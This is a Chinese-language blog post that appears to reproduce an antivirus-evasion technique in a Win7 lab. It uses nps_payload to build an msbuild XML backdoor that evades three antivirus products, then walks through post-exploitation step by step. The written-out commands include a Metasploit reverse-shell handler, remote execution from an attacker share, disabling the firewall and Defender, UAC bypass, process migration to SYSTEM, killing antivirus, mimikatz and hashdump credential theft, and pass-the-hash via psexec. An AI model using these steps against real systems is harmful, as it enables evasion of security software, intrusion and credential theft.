事情起因#
跟著 Tidesec 團隊的免殺系列做復現,只做 360,火絨,騰訊電腦管家都能過的免殺工具
終於在免殺專題 19 成功,還是熱乎的沒有被這幾大廠商封掉
於是復現並走一遍常見滲透測試流程
參考文章:
環境搭建#
我這裡為了能夠順便模擬提權過程,特地新建了一個標準管理員用戶
注意:此處練手提權不要創建普通用戶,創建普通用戶獲得meterpreter
會話後,我嘗試了
- ps 裡根本沒有除了普通用戶的進程,無法 migrate
- bypass uac 的 exploit 不行
- load mimikatz 和 hashdump 提示沒權限
- windows-exploit-suggester 和後滲透模塊 post/multi/recon/local_exploit_suggester 全部失敗
所以,在經歷過普通用戶提權的折磨後,我放棄了,把user
用戶加入了管理員組
配置如下:
- Win7 SP1 build 7601
- windows 防火牆打開
- 360 殺毒正式版 5.0.0.8170
- 騰訊電腦管家 13.3.20238.213
- 火絨 5.0.36.16
- Administrator 和 user:123456
來一張全家福:
360 顯示需要關閉其他殺毒軟件才能完全開啟權限,但我操作了也不能打開,就這樣吧
nps_payload#
nps_payload 介紹#
nps_payload 是 2017 年開源的工具,安裝使用都比較簡單,nps_payload 可以生成基於 msbuild 的 xml 文件和獨立執行的 hta 文件,並對 xml 文件和 hta 文件做了一定的混淆免殺,從而達到免殺的效果。
安裝 nps_payload#
- 克隆到本地
git clone https://github.com/trustedsec/nps_payload
- 安裝 py 依賴
cd nps_payload
pip install -r requirements.txt
- 運行
python nps_payload.py
nps_payload 使用說明#
nps_payload
生成的xml
或hta
文件都需要使用 msbuild 來執行
Microsoft Build Engine
是一個用於構建應用程序的平台,此引擎也被稱為msbuild
,它為項目文件提供一個XML
模式,該模式控制構建平台如何處理和構建軟件。Visual Studio
使用MSBuild
,但它不依賴於Visual Studio
。通過在項目或解決方案文件中調用msbuild.exe
,可以在未安裝Visual Studio
的環境中編譯和生成程序。
說明:Msbuild.exe
所在路徑沒有被系統添加PATH
環境變量中,因此,Msbuild 命令無法直接在 cmd 中使用。需要帶上路徑:C:\Windows\Microsoft.NET\Framework\v4.0.30319
也就是這個免殺只能在NET Framework>=4.0
的環境下使用
你可以打開C:\Windows\Microsoft.NET\Framework\
這個路徑看一眼是否支持
使用 nps_payload 生成後門#
只有兩種生成方式,我這裡就使用第一種,填入自己kali
的ip
和port
等待一會就生成了,說句題外話,一般不要把端口設置為4444
,
因為幾乎所有的msf
的提權模塊都默認使用4444
端口而且無法修改
生成後在當前目錄就得到我們需要的木馬文件msbuild_nps.xml
文件執行的方式有兩種
- 本地加載執行:
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
- 遠程文件執行:
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
我這裡就用本地加載進行測試,先在kali
上開啟監聽:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 3333
set ExitOnSession false
exploit -j -z
這裡又有兩個使用msf
的小技巧:
- set ExitOnSession false 可以在接收到 session 後繼續監聽端口,保持偵聽,也就是防止假 session
- exploit -j -z 可在後台持續監聽,-j 為後台任務,-z 為持續監聽,這樣反彈一個 shell 就能接收一個
在目標機上執行本地加載免殺文件,在 msbuild_nps.xml 當前目錄打開cmd
,執行:
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild_nps.xml
這裡的cmd
需要以管理員權限執行,要不然進程裡只有user
用戶的無法提權
可以看到,三件套殺毒軟件都沒有反應,成功免殺
由於exploit
使用了-j
選項,因此靶機上執行時可能過幾秒kali
上才會有反應
另外,如果msf
顯示了連接到session
但是假死了,按下回車,再sessions
打開查看就行了
然後我們sessions -i 1
打開session
走一遍滲透測試流程
常見滲透測試流程#
安全措施#
切換到shell
關閉windows defender
shell
chcp 65001
關閉防火牆
netsh advfirewall set allprofiles state off
關閉windows defender
net stop windefend
提權及密碼獲取#
首先看下權限:getuid
並習慣性的用meterpreter
自帶提權命令getsystem
如果不是
meterpreter
而是shell
才使用whoami
可以看到默認提權失敗,進程裡是有管理員和system
進程的,懷疑有uac
其實獲得會話後bypass uac
才應該是第一步
ctrl+z
輸入y
將會話退到後台 (shell
退到meterpreter
也是這樣)
use exploit/windows/local/bypassuac
set session 1
exploit
getsystem
getuid
可以看到我們bypass
也失敗了,上傳的提權文件被騰訊管家攔截了
bypass uac
還可以用另一個模塊:
use exploit/windows/local/ask
set session 1
exploit
正常情況下只要用戶點擊彈窗的確認就能繞過uac
,但是上傳的文件又被360
攔截了
那就最簡單的辦法,migrate PID
遷移進程
首先ps
查看下進程,選擇一個system
進程,並記住PID
:
然後migrate 1192
並查看權限
:
成功獲取到system
權限,殺毒軟件很礙事,殺掉吧:run killav
不過好像沒啥用,只關掉了我們運行msbuild_nps.xml
的cmd
窗口
那我們獲取下密碼:
load mimikatz
kerberos
這是明文密碼,一般實戰中不容易獲取,實戰中更容易獲取到的是hash值
hashdump
獲取到hash
值後我們可以直接使用hash
值登錄目標主機
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set RHOST 192.168.1.11
set LPORT 2222
set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
set SMBUser administrator
exploit
這裡實測調用powershell
會被 360 查殺
通過以上的例子,可以看出在實際的滲透測試中,即使獲得了會話
各種殺毒軟件也會樂此不疲地查殺各種利用模塊
因此,我們必須學會在夾縫中生存。
參考文章: